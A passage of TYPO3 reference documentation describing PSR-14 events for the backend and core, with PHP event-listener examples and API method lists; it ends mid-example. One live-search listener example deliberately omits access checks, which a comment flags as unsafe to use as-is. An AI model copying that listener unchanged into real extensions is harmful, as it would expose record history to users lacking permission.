The PSR-14 event \TYPO3\CMS\Backend\Controller\Event\ModifyNewContentElementWizardItemsEvent is called after TYPO3 has already prepared the wizard items, defined in page TSconfig (mod.wizards.newContentElement.wizardItems).

The event allows listeners to modify any available wizard item as well as adding new ones. It is therefore possible for the listeners to, for example, change the configuration, the position or to remove existing items altogether.

Example

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\EventListener;

use TYPO3\CMS\Backend\Controller\Event\ModifyNewContentElementWizardItemsEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;

#[AsEventListener(
    identifier: 'my-extension/backend/modify-wizard-items',
)]
final readonly class MyEventListener
{
    public function __invoke(ModifyNewContentElementWizardItemsEvent $event): void
    {
        // Add a new wizard item after "textpic"
        $event->setWizardItem(
            'my_element',
            [
                'iconIdentifier' => 'icon-my-element',
                'title' => 'My element',
                'description' => 'My element description',
                'tt_content_defValues' => [
                    'CType' => 'my_element',
                ],
            ],
            ['after' => 'common_textpic'],
        );
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyNewContentElementWizardItemsEvent
Fully qualified name
\TYPO3\CMS\Backend\Controller\Event\ModifyNewContentElementWizardItemsEvent

Listeners to this Event will be able to modify the wizard items of the new content element wizard component

getWizardItems ( )
Returns
array
setWizardItems ( array $wizardItems)
param $wizardItems

the wizardItems

hasWizardItem ( string $identifier)
param $identifier

the identifier

Returns
bool
getWizardItem ( string $identifier)
param $identifier

the identifier

Returns
?array
setWizardItem ( string $identifier, array $configuration, array $position = [])

Add a new wizard item with configuration at a defined position.

Can also be used to relocate existing items and to modify their configuration.

param $identifier

the identifier

param $configuration

the configuration

param $position

the position, default: []

removeWizardItem ( string $identifier)
param $identifier

the identifier

Returns
bool
getPageInfo ( )

Provides information about the current page making use of the wizard.

Returns
array
getColPos ( )

Provides information about the column position of the button that triggered the wizard.

Returns
?int
getSysLanguage ( )

Provides information about the language used while triggering the wizard.

Returns
int
getUidPid ( )

Provides information about the element to position the new element after (uid) or into (pid).

Returns
int

ModifyPageLayoutContentEvent

The PSR-14 event \TYPO3\CMS\Backend\Controller\Event\ModifyPageLayoutContentEvent allows to modify page module content.

It is possible to add additional content, overwrite existing content or reorder the content.

Example

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\EventListener;

use TYPO3\CMS\Backend\Controller\Event\ModifyPageLayoutContentEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;

#[AsEventListener(
    identifier: 'my-extension/backend/modify-page-module-content',
)]
final readonly class MyEventListener
{
    public function __invoke(ModifyPageLayoutContentEvent $event): void
    {
        // Get the current page ID
        $id = (int)($event->getRequest()->getQueryParams()['id'] ?? 0);

        $event->addHeaderContent('Additional header content');

        $event->setFooterContent('Overwrite footer content');
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyPageLayoutContentEvent
Fully qualified name
\TYPO3\CMS\Backend\Controller\Event\ModifyPageLayoutContentEvent

Listeners to this Event will be able to modify the header and footer content of the page module

getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface
getModuleTemplate ( )
Returns
\TYPO3\CMS\Backend\Template\ModuleTemplate
setHeaderContent ( string $content)

Set content for the header. Can also be used to e.g. reorder existing content.

IMPORTANT: This overwrites existing content from previous listeners!

param $content

the content

addHeaderContent ( string $content)

Add additional content to the header

param $content

the content

getHeaderContent ( )
Returns
string
setFooterContent ( string $content)

Set content for the footer. Can also be used to e.g. reorder existing content.

IMPORTANT: This overwrites existing content from previous listeners!

param $content

the content

addFooterContent ( string $content)

Add additional content to the footer

param $content

the content

getFooterContent ( )
Returns
string

ModifyPageLayoutOnLoginProviderSelectionEvent

The PSR-14 event \TYPO3\CMS\Backend\LoginProvider\Event\ModifyPageLayoutOnLoginProviderSelectionEvent allows to modify variables for the view depending on a special login provider set in the controller.

Example

API

class ModifyPageLayoutOnLoginProviderSelectionEvent
Fully qualified name
\TYPO3\CMS\Backend\LoginProvider\Event\ModifyPageLayoutOnLoginProviderSelectionEvent

Allows to modify variables for the view depending on a special login provider set in the controller.

getView ( )
Returns
\TYPO3\CMS\Core\View\ViewInterface
getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface

ModifyQueryForLiveSearchEvent

The PSR-14 event \TYPO3\CMS\Backend\Search\Event\ModifyQueryForLiveSearchEvent can be used to modify the live search queries in the backend.

This can be used to adjust the limit for a specific table or to change the result order.

This event is fired in the \TYPO3\CMS\Backend\Search\LiveSearch\LiveSearch class and allows extensions to modify the query builder instance before execution.

Example

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\EventListener;

use TYPO3\CMS\Backend\Search\Event\ModifyQueryForLiveSearchEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;

#[AsEventListener(
    identifier: 'my-extension/modify-query-for-live-search-event-listener',
)]
final readonly class MyEventListener
{
    public function __invoke(ModifyQueryForLiveSearchEvent $event): void
    {
        // Get the current instance
        $queryBuilder = $event->getQueryBuilder();

        // Change limit depending on the table
        if ($event->getTableName() === 'pages') {
            $queryBuilder->setMaxResults(2);
        }

        // Reset the orderBy part
        $queryBuilder->resetQueryPart('orderBy');
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyQueryForLiveSearchEvent
Fully qualified name
\TYPO3\CMS\Backend\Search\Event\ModifyQueryForLiveSearchEvent

PSR-14 event to modify the query builder instance for the live search

getQueryBuilder ( )
Returns
\TYPO3\CMS\Core\Database\Query\QueryBuilder
getTableName ( )
Returns
string

ModifyRecordListHeaderColumnsEvent

The PSR-14 event \TYPO3\CMS\Backend\RecordList\Event\ModifyRecordListHeaderColumnsEvent allows to modify the header columns for a table in the record list.

Usage

See combined usage example.

API

class ModifyRecordListHeaderColumnsEvent
Fully qualified name
\TYPO3\CMS\Backend\RecordList\Event\ModifyRecordListHeaderColumnsEvent

An event to modify the header columns for a table in the RecordList

setColumn ( string $column, string $columnName = '')

Add a new column or override an existing one. Latter is only possible, in case $columnName is given. Otherwise, the column will be added with a numeric index, which is generally not recommended.

Note: Due to the behaviour of DatabaseRecordList, just adding a column does not mean that it is also displayed. The internal $fieldArray needs to be adjusted as well. This method only adds the column to the data array. Therefore, this method should mainly be used to edit existing columns, e.g. change their label.

param $column

the column

param $columnName

the columnName, default: ''

hasColumn ( string $columnName)

Whether the column exists

param $columnName

the columnName

Returns
bool
getColumn ( string $columnName)

Get column by its name

param $columnName

the columnName

Return description

The column or NULL if the column does not exist

Returns
string|null
removeColumn ( string $columnName)

Remove column by its name

param $columnName

the columnName

Return description

Whether the column could be removed - Will thereforereturn FALSE if the column to remove does not exist.

Returns
bool
setColumns ( array $columns)
param $columns

the columns

getColumns ( )
Returns
array
setHeaderAttributes ( array $headerAttributes)
param $headerAttributes

the headerAttributes

getHeaderAttributes ( )
Returns
array
getTable ( )
Returns
string
getRecordIds ( )
Returns
array
getRecordList ( )

Returns the current DatabaseRecordList instance.

Returns
\TYPO3\CMS\Backend\RecordList\DatabaseRecordList

ModifyRecordListRecordActionsEvent

The PSR-14 event \TYPO3\CMS\Backend\RecordList\Event\ModifyRecordListRecordActionsEvent allows to modify the displayed record actions (for example edit, copy, delete) for a table in the record list.

Usage

See combined usage example.

API

class ModifyRecordListRecordActionsEvent
Fully qualified name
\TYPO3\CMS\Backend\RecordList\Event\ModifyRecordListRecordActionsEvent

An event to modify the displayed record actions (e.g.

"edit", "copy", "delete") for a table in the RecordList.

setAction ( string $action, string $actionName = '', string $group = '', string $before = '', string $after = '')

Add a new action or override an existing one. Latter is only possible, in case $columnName is given. Otherwise, the column will be added with a numeric index, which is generally not recommended. It's also possible to define the position of an action with either the "before" or "after" argument, while their value must be an existing action.

Note: In case non or an invalid $group is provided, the new action will be added to the secondary group.

param $action

the action

param $actionName

the actionName, default: ''

param $group

the group, default: ''

param $before

the before, default: ''

param $after

the after, default: ''

hasAction ( string $actionName, string $group = '')

Whether the action exists in the given group. In case non or an invalid $group is provided, both groups will be checked.

param $actionName

the actionName

param $group

the group, default: ''

Returns
bool
getAction ( string $actionName, string $group = '')

Get action by its name. In case the action exists in both groups and non or an invalid $group is provided, the action from the "primary" group will be returned.

param $actionName

the actionName

param $group

the group, default: ''

Returns
?string
removeAction ( string $actionName, string $group = '')

Remove action by its name. In case the action exists in both groups and non or an invalid $group is provided, the action will be removed from both groups.

param $actionName

the actionName

param $group

the group, default: ''

Return description

Whether the action could be removed - Will thereforereturn FALSE if the action to remove does not exist.

Returns
bool
getActionGroup ( string $group)

Get the actions of a specific group

param $group

the group

Returns
?array
setActions ( array $actions)
param $actions

the actions

getActions ( )
Returns
array
getTable ( )
Returns
string
getRecord ( )
Returns
array
getRecordList ( )

Returns the current DatabaseRecordList instance.

Returns
\TYPO3\CMS\Backend\RecordList\DatabaseRecordList

ModifyRecordListTableActionsEvent

The PSR-14 event \TYPO3\CMS\Backend\RecordList\Event\ModifyRecordListTableActionsEvent allows to modify the multi record selection actions (for example edit, copy to clipboard) for a table in the record list.

Example

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\EventListener;

use Psr\Log\LoggerInterface;
use TYPO3\CMS\Backend\RecordList\Event\ModifyRecordListHeaderColumnsEvent;
use TYPO3\CMS\Backend\RecordList\Event\ModifyRecordListRecordActionsEvent;
use TYPO3\CMS\Backend\RecordList\Event\ModifyRecordListTableActionsEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;

#[AsEventListener(
    identifier: 'my-extension/recordlist/my-event-listener',
    method: 'modifyRecordActions',
)]
#[AsEventListener(
    identifier: 'my-extension/recordlist/my-event-listener',
    method: 'modifyHeaderColumns',
)]
#[AsEventListener(
    identifier: 'my-extension/recordlist/my-event-listener',
    method: 'modifyTableActions',
)]
final readonly class MyEventListener
{
    public function __construct(
        private LoggerInterface $logger,
    ) {}

    public function modifyRecordActions(ModifyRecordListRecordActionsEvent $event): void
    {
        $currentTable = $event->getTable();

        // Add a custom action for a custom table in the secondary action bar, before the "move" action
        if ($currentTable === 'my_custom_table' && !$event->hasAction('myAction')) {
            $event->setAction(
                '<button>My Action</button>',
                'myAction',
                'secondary',
                'move',
            );
        }

        // Remove the "viewBig" action in case more than 4 actions exist in the group
        if (count($event->getActionGroup('secondary')) > 4 && $event->hasAction('viewBig')) {
            $event->removeAction('viewBig');
        }

        // Move the "delete" action after the "edit" action
        $event->setAction('', 'delete', 'primary', '', 'edit');
    }

    public function modifyHeaderColumns(ModifyRecordListHeaderColumnsEvent $event): void
    {
        // Change label of "control" column
        $event->setColumn('Custom Controls', '_CONTROL_');

        // Add a custom class for the table header row
        $event->setHeaderAttributes(['class' => 'my-custom-class']);
    }

    public function modifyTableActions(ModifyRecordListTableActionsEvent $event): void
    {
        // Remove "edit" action and log, if this failed
        $actionRemoved = $event->removeAction('unknown');
        if (!$actionRemoved) {
            $this->logger->warning('Action "unknown" could not be removed');
        }

        // Add a custom clipboard action after "copyMarked"
        $event->setAction('<button>My action</button>', 'myAction', '', 'copyMarked');

        // Set a custom label for the case, no actions are available for the user
        $event->setNoActionLabel('No actions available due to missing permissions.');
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyRecordListTableActionsEvent
Fully qualified name
\TYPO3\CMS\Backend\RecordList\Event\ModifyRecordListTableActionsEvent

An event to modify the multi record selection actions (e.g.

"edit", "copy to clipboard") for a table in the RecordList.

setAction ( string $action, string $actionName = '', string $before = '', string $after = '')

Add a new action or override an existing one. Latter is only possible, in case $actionName is given. Otherwise, the action will be added with a numeric index, which is generally not recommended. It's also possible to define the position of an action with either the "before" or "after" argument, while their value must be an existing action.

param $action

the action

param $actionName

the actionName, default: ''

param $before

the before, default: ''

param $after

the after, default: ''

hasAction ( string $actionName)

Whether the action exists

param $actionName

the actionName

Returns
bool
getAction ( string $actionName)

Get action by its name

param $actionName

the actionName

Return description

The action or NULL if the action does not exist

Returns
string|null
removeAction ( string $actionName)

Remove action by its name

param $actionName

the actionName

Return description

Whether the action could be removed - Will thereforereturn FALSE if the action to remove does not exist.

Returns
bool
setActions ( array $actions)
param $actions

the actions

getActions ( )
Returns
array
setNoActionLabel ( string $noActionLabel)
param $noActionLabel

the noActionLabel

getNoActionLabel ( )

Get the label, which will be displayed, in case no action is available for the current user. Note: If this returns an empty string, this only means that no other listener set a label before. TYPO3 will always fall back to a default if this remains empty.

Returns
string
getTable ( )
Returns
string
getRecordIds ( )
Returns
array
getRecordList ( )

Returns the current DatabaseRecordList instance.

Returns
\TYPO3\CMS\Backend\RecordList\DatabaseRecordList

ModifyResultItemInLiveSearchEvent

The PSR-14 event \TYPO3\CMS\Backend\Search\Event\ModifyResultItemInLiveSearchEvent allows extension developers to take control over search result items rendered in the backend search.

Example

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\EventListener;

use TYPO3\CMS\Backend\Routing\UriBuilder;
use TYPO3\CMS\Backend\Search\Event\ModifyResultItemInLiveSearchEvent;
use TYPO3\CMS\Backend\Search\LiveSearch\DatabaseRecordProvider;
use TYPO3\CMS\Backend\Search\LiveSearch\ResultItemAction;
use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Imaging\IconFactory;
use TYPO3\CMS\Core\Imaging\IconSize;
use TYPO3\CMS\Core\Localization\LanguageService;
use TYPO3\CMS\Core\Localization\LanguageServiceFactory;

#[AsEventListener(
    identifier: 'my-extension/add-live-search-result-actions-listener',
)]
final readonly class MyEventListener
{
    private LanguageService $languageService;

    public function __construct(
        private IconFactory $iconFactory,
        LanguageServiceFactory $languageServiceFactory,
        private UriBuilder $uriBuilder,
    ) {
        $this->languageService = $languageServiceFactory->createFromUserPreferences($GLOBALS['BE_USER']);
    }

    public function __invoke(ModifyResultItemInLiveSearchEvent $event): void
    {
        $resultItem = $event->getResultItem();
        if ($resultItem->getProviderClassName() !== DatabaseRecordProvider::class) {
            return;
        }

        if (($resultItem->getExtraData()['table'] ?? null) === 'tt_content') {
            /**
             * WARNING: THIS EXAMPLE OMITS ANY ACCESS CHECK FOR SIMPLICITY REASONS - DO NOT USE AS-IS
             */
            $showHistoryAction = (new ResultItemAction('view_history'))
                ->setLabel($this->languageService->sL('LLL:EXT:core/Resources/Private/Language/locallang_mod_web_list.xlf:history'))
                ->setIcon($this->iconFactory->getIcon('actions-document-history-open', IconSize::SMALL))
                ->setUrl((string)$this->uriBuilder->buildUriFromRoute('record_history', [
                    'element' => $resultItem->getExtraData()['table'] . ':' . $resultItem->getExtraData()['uid'],
                ]));
            $resultItem->addAction($showHistoryAction);
        }
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyResultItemInLiveSearchEvent
Fully qualified name
\TYPO3\CMS\Backend\Search\Event\ModifyResultItemInLiveSearchEvent

PSR-14 event to modify as result item created by the live search

getResultItem ( )
Returns
\TYPO3\CMS\Backend\Search\LiveSearch\ResultItem

PageContentPreviewRenderingEvent

Use the PSR-14 event \TYPO3\CMS\Backend\View\Event\PageContentPreviewRenderingEvent to ship an alternative rendering for a specific content type or to manipulate the record data of a content element.

Example

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\EventListener;

use TYPO3\CMS\Backend\View\Event\PageContentPreviewRenderingEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;

#[AsEventListener(
    identifier: 'my-extension/preview-rendering-example-ctype',
)]
final readonly class MyEventListener
{
    public function __invoke(PageContentPreviewRenderingEvent $event): void
    {
        if ($event->getTable() !== 'tt_content') {
            return;
        }

        if ($event->getRecordType() === 'example_ctype') {
            $event->setPreviewContent('<div>...</div>');
        }
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class PageContentPreviewRenderingEvent
Fully qualified name
\TYPO3\CMS\Backend\View\Event\PageContentPreviewRenderingEvent

Use this Event to have a custom preview for a content type in the Page Module

getTable ( )
Returns
string
getRecordType ( )
Returns
string
getRecord ( )
Returns
array
setRecord ( array $record)
param $record

the record

getPageLayoutContext ( )
Returns
\TYPO3\CMS\Backend\View\PageLayoutContext
getPreviewContent ( )
Returns
?string
setPreviewContent ( string $content)
param $content

the content

isPropagationStopped ( )
Returns
bool

PasswordHasBeenResetEvent

New in version 14.0

It is possible to add custom business logic after a Backend user resets their password using the new PSR-14 event.

The event PasswordHasBeenResetEvent is raised right after a backend user resets their password and it has been hashed and persisted to the database.

The event contains the corresponding backend user UID.

Example

The corresponding event listener class:

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace Vendor\MyPackage\Backend\EventListener;

use TYPO3\CMS\Backend\Authentication\Event\PasswordHasBeenResetEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;

final class PasswordHasBeenResetEventListener
{
    #[AsEventListener('my-package/backend/password-has-been-reset')]
    public function __invoke(PasswordHasBeenResetEvent $event): void
    {
        $userUid = $event->userId;
        // Do something with the be_user UID
    }
}
Copied!

API

class PasswordHasBeenResetEvent
Fully qualified name
\TYPO3\CMS\Backend\Authentication\Event\PasswordHasBeenResetEvent
public readonly userId

RenderAdditionalContentToRecordListEvent

The PSR-14 event \TYPO3\CMS\Backend\Controller\Event\RenderAdditionalContentToRecordListEvent allows to add content before or after the main content of the List module.

Example

API

class RenderAdditionalContentToRecordListEvent
Fully qualified name
\TYPO3\CMS\Backend\Controller\Event\RenderAdditionalContentToRecordListEvent

Add content above or below the main content of the record list

getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface
addContentAbove ( string $contentAbove)
param $contentAbove

the contentAbove

addContentBelow ( string $contentBelow)
param $contentBelow

the contentBelow

getAdditionalContentAbove ( )
Returns
string
getAdditionalContentBelow ( )
Returns
string

SwitchUserEvent

The PSR-14 event \TYPO3\CMS\Backend\Authentication\Event\SwitchUserEvent is dispatched when a "SU" (switch user) action has been triggered.

Example

API

class SwitchUserEvent
Fully qualified name
\TYPO3\CMS\Backend\Authentication\Event\SwitchUserEvent

This event is triggered when a "SU" (switch user) action has been triggered

getSessionId ( )
Returns
string
getTargetUser ( )
Returns
array
getCurrentUser ( )
Returns
array

SystemInformationToolbarCollectorEvent

The PSR-14 event \TYPO3\CMS\Backend\Backend\Event\SystemInformationToolbarCollectorEvent allows to enrich the system information toolbar in the TYPO3 backend top toolbar with various information.

Example

API

class SystemInformationToolbarCollectorEvent
Fully qualified name
\TYPO3\CMS\Backend\Backend\Event\SystemInformationToolbarCollectorEvent

An event to enrich the system information toolbar in the TYPO3 Backend top toolbar with various information

getToolbarItem ( )
Returns
\TYPO3\CMS\Backend\Backend\ToolbarItems\SystemInformationToolbarItem

Core

The following list contains PSR-14 events in EXT:core .

Contents:

AfterGroupsResolvedEvent

When user groups are loaded, for example when a backend editor's groups and permissions are calculated, a new PSR-14 event AfterGroupsResolvedEvent is fired.

This event contains a list of retrieved groups from the database which can be modified via event listeners. For example, more groups might be added when a particular user logs in or is seated at a special location.

Example

API

class AfterGroupsResolvedEvent
Fully qualified name
\TYPO3\CMS\Core\Authentication\Event\AfterGroupsResolvedEvent

Event fired after user groups have been resolved for a specific user

getSourceDatabaseTable ( )
Return description

'be_groups' or 'fe_groups' depending on context.

Returns
string
getGroups ( )

List of group records including sub groups as resolved by core.

Note order is important: A user with main groups "1,2", where 1 has sub group 3, results in "3,1,2" as record list array - sub groups are listed before the group that includes the sub group.

Returns
array
setGroups ( array $groups)

List of group records as manipulated by the event.

param $groups

the groups

getOriginalGroupIds ( )

List of group uids directly attached to the user

Returns
array
getUserData ( )

Full user record with all fields

Returns
array

AfterUserLoggedInEvent

New in version 12.3

The event replaces the deprecated hook $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_userauthgroup.php']['backendUserLogin'] .

New in version 13.0

The event is also dispatched, when a successful frontend user login is performed.

The purpose of the PSR-14 event \TYPO3\CMS\Core\Authentication\Event\AfterUserLoggedInEvent is to trigger any kind of action when a backend or frontend user has been successfully logged in.

The TYPO3 Core itself uses this event in the TYPO3 backend to send an email to a user, if the user has successfully logged in. See EXT:backend/Classes/Security/EmailLoginNotification.php (GitHub).

Example

EXT:my_extension/Authentication/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Authentication\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Authentication\BackendUserAuthentication;
use TYPO3\CMS\Core\Authentication\Event\AfterUserLoggedInEvent;

#[AsEventListener(
    identifier: 'my-extension/after-user-logged-in',
)]
final readonly class MyEventListener
{
    public function __invoke(AfterUserLoggedInEvent $event): void
    {
        if (
            $event->getUser() instanceof BackendUserAuthentication
            && $event->getUser()->isAdmin()
        ) {
            // Do something like: Clear all caches after login
        }
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class AfterUserLoggedInEvent
Fully qualified name
\TYPO3\CMS\Core\Authentication\Event\AfterUserLoggedInEvent

Event fired after a user has been actively logged in to backend (incl. possible MFA) or frontend.

getUser ( )
Returns
\TYPO3\CMS\Core\Authentication\AbstractUserAuthentication
getRequest ( )
Returns
?\Psr\Http\Message\ServerRequestInterface

AfterUserLoggedOutEvent

New in version 12.3

The event replaces the deprecated hook $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_userauth.php']['logoff_post_processing'] .

The purpose of the PSR-14 event \TYPO3\CMS\Core\Authentication\Event\AfterUserLoggedOutEvent is to trigger any kind of action when a user has been successfully logged out.

Example

API

class AfterUserLoggedOutEvent
Fully qualified name
\TYPO3\CMS\Core\Authentication\Event\AfterUserLoggedOutEvent

Event fired after a user has been actively logged out.

getUser ( )
Returns
\TYPO3\CMS\Core\Authentication\AbstractUserAuthentication

BeforeRequestTokenProcessedEvent

New in version 12.1

The event \TYPO3\CMS\Core\Authentication\Event\BeforeRequestTokenProcessedEvent allows to intercept or adjust a request token during active user authentication process.

Example

The event can be used to generate the request token individually. This can be the case when you are not using a login callback and have not the possibility to submit a request token:

EXT:my_extension/Classes/Authentication/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Authentication\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Authentication\Event\BeforeRequestTokenProcessedEvent;
use TYPO3\CMS\Core\Security\RequestToken;

#[AsEventListener(
    identifier: 'my-extension/process-request-token-listener',
)]
final readonly class MyEventListener
{
    public function __invoke(BeforeRequestTokenProcessedEvent $event): void
    {
        $user = $event->getUser();
        $requestToken = $event->getRequestToken();
        // fine, there is a valid request token
        if ($requestToken instanceof RequestToken) {
            return;
        }

        // Validate individual requirements/checks
        // ...
        $event->setRequestToken(
            RequestToken::create('core/user-auth/' . strtolower($user->loginType)),
        );
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class BeforeRequestTokenProcessedEvent
Fully qualified name
\TYPO3\CMS\Core\Authentication\Event\BeforeRequestTokenProcessedEvent

Event fired before request-token is processed.

getUser ( )
Returns
\TYPO3\CMS\Core\Authentication\AbstractUserAuthentication
getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface
getRequestToken ( )
Returns
\TYPO3\CMS\Core\Security\RequestToken|false|?null
setRequestToken ( ?TYPO3\CMS\Core\Security\RequestToken|false|null $requestToken)
param $requestToken

the requestToken

BeforeUserLogoutEvent

New in version 12.3

The event replaces the deprecated hook $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_userauth.php']['logoff_pre_processing'] .

The purpose of the PSR-14 event \TYPO3\CMS\Core\Authentication\Event\BeforeUserLogoutEvent is to trigger any kind of action before a user will be logged out.

The event has the possibility to bypass the regular logout process by TYPO3 (removing the cookie and the user session) by calling $event->disableRegularLogoutProcess() in an event listener.

Example

API

class BeforeUserLogoutEvent
Fully qualified name
\TYPO3\CMS\Core\Authentication\Event\BeforeUserLogoutEvent

Event fired before a user is going to be actively logged out.

An option to interrupt the regular logout flow from TYPO3 Core (so you can do this yourself) is also available.

getUser ( )
Returns
\TYPO3\CMS\Core\Authentication\AbstractUserAuthentication
disableRegularLogoutProcess ( )
enableRegularLogoutProcess ( )
shouldLogout ( )
Returns
bool
getUserSession ( )
Returns
?\TYPO3\CMS\Core\Session\UserSession

LoginAttemptFailedEvent

New in version 12.3

The event replaces the deprecated hook $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_userauth.php']['postLoginFailureProcessing'] .

The purpose of the PSR-14 event \TYPO3\CMS\Core\Authentication\Event\LoginAttemptFailedEvent is to allow to notify remote systems about failed logins.

Example

EXT:my_extension/Authentication/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Authentication\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Authentication\Event\LoginAttemptFailedEvent;

#[AsEventListener(
    identifier: 'my-extension/login-attempt-failed',
)]
final readonly class MyEventListener
{
    public function __invoke(LoginAttemptFailedEvent $event): void
    {
        $normalizedParams = $event->getRequest()->getAttribute('normalizedParams');
        if ($normalizedParams->getRemoteAddress() !== '198.51.100.42') {
            // send an email because an external user attempt failed
        }
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class LoginAttemptFailedEvent
Fully qualified name
\TYPO3\CMS\Core\Authentication\Event\LoginAttemptFailedEvent

Event fired after a login attempt failed.

getUser ( )
Returns
\TYPO3\CMS\Core\Authentication\AbstractUserAuthentication
getLoginData ( )
Returns
array
isFrontendAttempt ( )
Returns
bool
isBackendAttempt ( )
Returns
bool
getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface

CacheFlushEvent

The PSR-14 event \TYPO3\CMS\Core\Cache\Event\CacheFlushEvent is fired when caches are to be cleared.

Example

API

class CacheFlushEvent
Fully qualified name
\TYPO3\CMS\Core\Cache\Event\CacheFlushEvent

Event fired when caches are to be cleared

getGroups ( )
Returns
array
hasGroup ( string $group)
param $group

the group

Returns
bool
getErrors ( )
Returns
array
addError ( string $error)
param $error

the error

CacheWarmupEvent

The PSR-14 event \TYPO3\CMS\Core\Cache\Event\CacheWarmupEvent is fired when caches are to be warmed up.

Example

API

class CacheWarmupEvent
Fully qualified name
\TYPO3\CMS\Core\Cache\Event\CacheWarmupEvent

Event fired when caches are to be warmed up

getGroups ( )
Returns
array
hasGroup ( string $group)
param $group

the group

Returns
bool
getErrors ( )
Returns
array
addError ( string $error)
param $error

the error

AfterFlexFormDataStructureIdentifierInitializedEvent

The PSR-14 event \TYPO3\CMS\Core\Configuration\Event\AfterFlexFormDataStructureIdentifierInitializedEvent can be used to control the FlexForm parsing in an object-oriented approach.

Example

EXT:my_extension/Classes/Configuration/EventListener/FlexFormParsingModifyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Configuration\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Configuration\Event\AfterFlexFormDataStructureIdentifierInitializedEvent;
use TYPO3\CMS\Core\Configuration\Event\AfterFlexFormDataStructureParsedEvent;
use TYPO3\CMS\Core\Configuration\Event\BeforeFlexFormDataStructureIdentifierInitializedEvent;
use TYPO3\CMS\Core\Configuration\Event\BeforeFlexFormDataStructureParsedEvent;

#[AsEventListener(
